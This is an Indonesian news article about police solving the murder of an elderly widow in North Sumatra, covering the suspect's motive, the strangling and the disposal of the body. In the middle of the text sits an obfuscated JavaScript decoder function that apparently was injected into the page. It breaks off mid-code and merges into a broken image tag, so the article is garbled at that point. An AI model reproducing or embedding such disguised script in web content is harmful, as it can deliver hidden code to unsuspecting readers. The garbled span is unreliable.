CALEG GOLKAR

Poldasu Ungkap Pembunuh Janda Tua yang Ditemukan Membusuk di Jurang Sipitu-pitu

POLDASU (medanbicara.com) – Kasus penemuan mayat wanita yang ditemukan membusuk di jurang Sipitu-pitu perbatasan Tobasa dan Taput, berhasil diungkap Subdit III/Jatanras Ditreskrimum Polda Sumut.

Wanita itu ternyata adalah korban pembunuhan sadis bernama Agustina Sitorus (67) warga Jalan Air Bersih Medan. Janda tua itu dibunuh lalu jasadnya dimasukkan ke dalam karung goni dan dibuang di TKP, 26 April 2017 lalu.

Direktur Ditreskrimum Polda Sumut,  Kombes pol Nurfallah didampingi Kasubdit  III Jahtanras AKBP Faisal Napitupulu,  Selasa (2/5) mengungkapkan, tersangka pelaku pembunuhan yang belakangan diketahui telah menjalin hubungan dengan janda lanjut usia itu adalah Perinando Simangunsong (38) warga Dusun VII Pintu Air, Desa Sei Belutu, Kecamatan Sei Bamban, Kabupaten Sergai yang sehari-harinya bekerja sebagai sopir rental antar provinsi.

"Pelaku telah merencanakan perampokan dan membantai korban setelah disetubuhi, motifnya ingin mengusai harta korban untuk membayar utang," katanya kepada wartawan di Mapoldasu.

foto korban semasa hidup

foto korban semasa hidup

Lebih lanjut Nurfallah menjelaskan, peristiwa pembunuhan itu berhasil diungkap setelah pihak kepolisian mendapatkan informasi dari masyatakat mengenai penemuan mayat dalam goni di jurang itu.

"Dari kasus temuan mayat diduga kuat korban pembunuhan itu Polres Taput berkordinasi dengan Polda Sumut untuk membantu melakukan penyelidikan. Hasil penyelidikan menggunakan alat deteksi identitas oleh tim kita di Subdit III berhasil mengidentifikasi bahwa mayat yang ditemukan tanpa identitas itu adalah Agustina Sitorus (67) warga Jalan Air Bersih Medan, " sebut Nurfallah.

Berbekal identitas korban yang telah diketahui itu tim dari sibdit III Ditreskrimum Polda Sumut langsung melakukan pengembangan melalui keluarga korban. Hasil pengembangan yang dilakukan akhirnya mengungkap identitas tersangka yang diketahui memiliki hubungan dekat korban sejak tiga bulan belakangan.

"Setelah dilakukan penyelidikan mendalam dari identitas korban yang berhasil diketahui, tim lalu mengidentifikasi identitas tersangka yang terakhir kali diketahui pergi bersama korban. Jadi tersangka ini modusnya memacari korban dan sudah tiga bulan terakhir menjalin hubungan, " ungkapnya.

jenazah korban

jenazah korban

Dilanjutkan Nurfallah, Jumat (28/4) tepat beberapa hari setelah penemuan mayat korban, tersangka berhasil dibekuk tak jauh dari kediamannya di Desa Sei Belutu, Kabupaten Sergai. Meski sempat berkilah, tersangka akhirnya mengakui perbuatan sadis yang dilakukannya atas desakan himpitan hutang yang harus dibayarnya.

Nurfallah menyampaikan, menurut hasil penyidikan sementara dari tersangka,  pembunuhan itu dilakukannya karena tak berhasil mendapatkan uang dan perhiasan yang dimintanya kepada korban. Tersangka yang kala itu terlilit hutang kamudian menghabisi nyawa korban dengan cara mencekik leher korban menggunakan safetybel di jok mobil korban.

"Ceritanya setelah tiga bulan menjalin hubungan, tersangka yang memang kerap melakukan modus memacari wanita paruh baya khususnya janda untuk mendapatkan uang lalu meminta korban menjemputnya di Terminal Amplas di hari kejadian.  Tersangka beralasan mengajak kawin lari dan meminta korban membawa harta-harta yang bisa dibawa," jelas Nurfallah.

Setelah bertemu di kawasan Amplas,  Korban dan tersangka lalu pergi menggunakan mobil Toyota Avanza BK 1703 LN milik korban ke kawasan Galang,  Sergai. Di salah satu lokasi di kawasan Galang itu kemudian keduanya sempat berhenti dan bermesraan di dalam mobil. Tersangka bahkan mengaku bahwa dirinya sempat menyetubuhi korban di dalam mobil.

"Sesaat kemudian tersangka berusaha meminta uang dan perhiasan korban,  namun korban tidak memberikam hingga akhirnya tersangka mencekik korban dengan safetybel dan kawat yang telah disiapkannya. Setelah korban tewas kemudian dipindahkan ke bagian belakang mobil dan melucuti barang berharga korban," ujar Nurfallah.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaanda tua" width="308" height="524" class="size-full wp-image-6073" /> tersangka pembunuh janda tua

Dari lokasi itu dilanjutkan Nurfallah,  tersangka lalu bergerak menuju kawasan Tebing Tinggi untuk menjual perhiasan milik korban seharga Rp 14 Juta. Tersangka kemudian selanjutnya membuang korban dengan cara memasukkannya ke dalam karung goni ukuran 100 Kg dan melemparkannya ke jurang Sipitu-pitu perbatasan Tobasa dan Taput.

"Atas kasus ini kita masih melakukan pengembangan lebih dalam menyangkut dugaan keterlibatan tersangka lain maupun penadah barang curian. Meski ada lima orang wanita paruh baya lain yang menjadi korban dan telah kita mintai keterangan sebagai saksi, pembunuhan yang dilakukan tersangka sejauh ini masih terungkap sekali. Tersangka dijerat Pasal 338,340 KUHPidana tentang pembunuhan dengan ancaman hukuman penjara di atas 20 tahun," pungkasnya. (emzu)

Mungkin Anda juga menyukai